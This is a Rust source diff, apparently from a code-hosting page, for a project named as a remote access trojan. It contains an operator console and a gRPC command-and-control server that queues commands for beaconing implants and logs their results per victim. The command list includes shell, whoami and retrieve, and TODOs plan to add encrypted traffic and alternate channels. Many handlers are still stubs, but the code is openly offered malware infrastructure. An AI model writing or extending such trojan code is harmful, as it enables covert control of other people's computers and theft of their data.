||||
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest};
|
||||
use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient;
|
||||
use std::io::{stdin, stdout, Write};
|
||||
use tonic::transport::Endpoint;
|
||||
|
||||
/*
|
||||
TODO
|
||||
- send commands from operator to server
|
||||
- encrypt traffic from operator to server
|
||||
*/
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
println!("operator");
|
||||
// Set up connection to server
|
||||
let location = rco_config::RAT_SERVER_LOCATION;
|
||||
let port = rco_config::RAT_SERVER_PORT;
|
||||
let socket = format!("http://{location}:{port}");
|
||||
let channel = Endpoint::from_shared(socket.clone())?
|
||||
.connect()
|
||||
.await?;
|
||||
// Prepare a client for beaconing
|
||||
let mut schedule_client = ScheduleCommandClient::new(channel.clone());
|
||||
loop {
|
||||
print!("Command > ");
|
||||
stdout().flush().unwrap();
|
||||
let mut line = String::new();
|
||||
stdin().read_line(&mut line).unwrap();
|
||||
let split_line: Vec<&str> = line.split(' ').collect();
|
||||
let (command, arguments) = match split_line.len() {
|
||||
0 => continue,
|
||||
1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()),
|
||||
_ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()),
|
||||
};
|
||||
let request = tonic::Request::new(
|
||||
OperatorRequest {
|
||||
command: OperatorCommand::try_into(command).unwrap(),
|
||||
arguments
|
||||
},
|
||||
);
|
||||
let response = schedule_client.send(request).await?.into_inner();
|
||||
let print_for_operator = response.data;
|
||||
println!("{print_for_operator}");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand};
|
||||
use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer};
|
||||
use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer};
|
||||
use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer};
|
||||
use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse};
|
||||
use remote_access_trojan::RsRatCommand;
|
||||
use std::collections::HashMap;
|
||||
use std::convert::From;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
use tonic::{Request, Response, Status};
|
||||
use tonic::transport::Server;
|
||||
|
||||
/*
|
||||
TODO
|
||||
- server state mutable
|
||||
- accept commands from operator to server
|
||||
- server 'retrieve' command
|
||||
- server 'implants' command
|
||||
- encrypt traffic from implant to server
|
||||
- encrypt traffic from operator to server
|
||||
- alternate communication method(s) between implant and server
|
||||
*/
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyAskForInstructions {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl AskForInstructions for MyAskForInstructions {
|
||||
async fn send(&self, request: Request<Beacon>) -> Result<Response<CommandRequest>, Status> {
|
||||
// This will get removed when I have a client
|
||||
let fake_commands = HashMap::from([
|
||||
(0, (RatCommand::Hostname, "".to_string())),
|
||||
(1, (RatCommand::Ip, "".to_string())),
|
||||
(2, (RatCommand::Ls, "".to_string())),
|
||||
(3, (RatCommand::Cadence, "2".to_string())),
|
||||
]);
|
||||
// Get the command number that the implant is requesting
|
||||
let command_number: usize = request.into_inner().requested_command.try_into().unwrap();
|
||||
// If the command number exists in the server already, send it back to the implant to run
|
||||
// Otherwise, send the 'None' command, which tells the implant there is nothing new
|
||||
if fake_commands.len() > command_number {
|
||||
Ok(Response::new(
|
||||
CommandRequest {
|
||||
command: RatCommand::try_into(fake_commands[&command_number].0).unwrap(),
|
||||
arguments: fake_commands[&command_number].1.clone()
|
||||
}
|
||||
))
|
||||
} else {
|
||||
Ok(Response::new(
|
||||
CommandRequest {
|
||||
command: RatCommand::try_into(RatCommand::None).unwrap(),
|
||||
arguments: String::from("")
|
||||
}
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyRecordCommandResult {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl RecordCommandResult for MyRecordCommandResult {
|
||||
async fn send(&self, request: Request<CommandResponse>) -> Result<Response<Empty>, Status> {
|
||||
// Get the response from the implant and prepare it for recording
|
||||
let request = request.into_inner();
|
||||
let implant_id = request.implant_id;
|
||||
let timestamp = request.timestamp;
|
||||
let command: &str = RsRatCommand::from(RatCommand::from_i32(request.command).unwrap()).into();
|
||||
let arguments = request.arguments;
|
||||
let result = request.result;
|
||||
// Determine where the result should be written based on the implant ID
|
||||
let filename = format!("./{implant_id}.csv");
|
||||
// If the file already exists, the only data we need is in the implant's message
|
||||
let mut data = format!("{implant_id},{timestamp},{command},{arguments},{result}");
|
||||
// Otherwise, we also need to give the file a header
|
||||
if !Path::new(&filename).exists() {
|
||||
data = format!("timestamp,command,arguments,result\n{implant_id},{timestamp},{command},{arguments},{result}");
|
||||
}
|
||||
// Open the file and write the data to it
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(filename)
|
||||
.unwrap();
|
||||
writeln!(file, "{data}").unwrap();
|
||||
// Respond to the implant basically say 'done'
|
||||
Ok(Response::new(
|
||||
Empty {}
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct MyScheduleCommand {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl ScheduleCommand for MyScheduleCommand {
|
||||
async fn send(&self, request: Request<OperatorRequest>) -> Result<Response<OperatorResponse>, Status> {
|
||||
// Get the request from the operator and figure out what to do with it
|
||||
let inner = request.into_inner();
|
||||
let command = OperatorCommand::from_i32(inner.command).unwrap();
|
||||
let arguments = inner.arguments;
|
||||
// Run the applicable command
|
||||
let command_result = match command {
|
||||
OperatorCommand::OpCadence => {
|
||||
format!("got a cadence {arguments}!")
|
||||
},
|
||||
OperatorCommand::OpDir => {
|
||||
// Passthrough
|
||||
"got a dir".to_string()
|
||||
},
|
||||
OperatorCommand::OpImplants => {
|
||||
// List all implant IDs
|
||||
"got an implants".to_string()
|
||||
},
|
||||
OperatorCommand::OpHelp => {
|
||||
"Valid commands:\n\tcadence <number in seconds>\n\tdir\n\thostname\n\thelp\n\timplants\n\tip\n\tls\n\tos\n\tquit\n\tretrieve <implant id>\n\tshell\n\twhoami".to_string()
|
||||
},
|
||||
OperatorCommand::OpHostname => {
|
||||
// Passthrough
|
||||
"got a hostname".to_string()
|
||||
},
|
||||
OperatorCommand::OpIp => {
|
||||
// Passthrough
|
||||
"got an ip".to_string()
|
||||
},
|
||||
OperatorCommand::OpLs => {
|
||||
// Passthrough
|
||||
"got an ls".to_string()
|
||||
},
|
||||
OperatorCommand::OpOs => {
|
||||
// Passthrough
|
||||
"got an os".to_string()
|
||||
},
|
||||
OperatorCommand::OpQuit => {
|
||||
// Passthrough
|
||||
"got a quit".to_string()
|
||||
},
|
||||
OperatorCommand::OpRetrieve => {
|
||||
// Retrieve data from implant
|
||||
"got a retrieve".to_string()
|
||||
},
|
||||
OperatorCommand::OpShell => {
|
||||
// Passthrough
|
||||
"got a shell".to_string()
|
||||
},
|
||||
OperatorCommand::OpWhoami => {
|
||||
// Passthrough
|
||||
"got a whoami".to_string()
|
||||
},
|
||||
_ => {
|
||||
// I think this isn't possible?
|
||||
"uh oh".to_string()
|
||||
}
|
||||
};
|
||||
// Respond to the implant basically say 'done'
|
||||
Ok(Response::new(
|
||||
OperatorResponse {
|
||||
data: command_result
|
||||
}
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Set up the server parameters
|
||||
let port = rco_config::RAT_SERVER_PORT;
|
||||
let socket = format!("127.0.0.1:{port}").parse()?;
|
||||
|
||||
// Stand up the server and run it
|
||||
Server::builder()
|
||||
.add_service(AskForInstructionsServer::new(MyAskForInstructions::default()))
|
||||
.add_service(RecordCommandResultServer::new(MyRecordCommandResult::default()))
|
||||
.add_service(ScheduleCommandServer::new(MyScheduleCommand::default()))
|
||||
.serve(socket)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user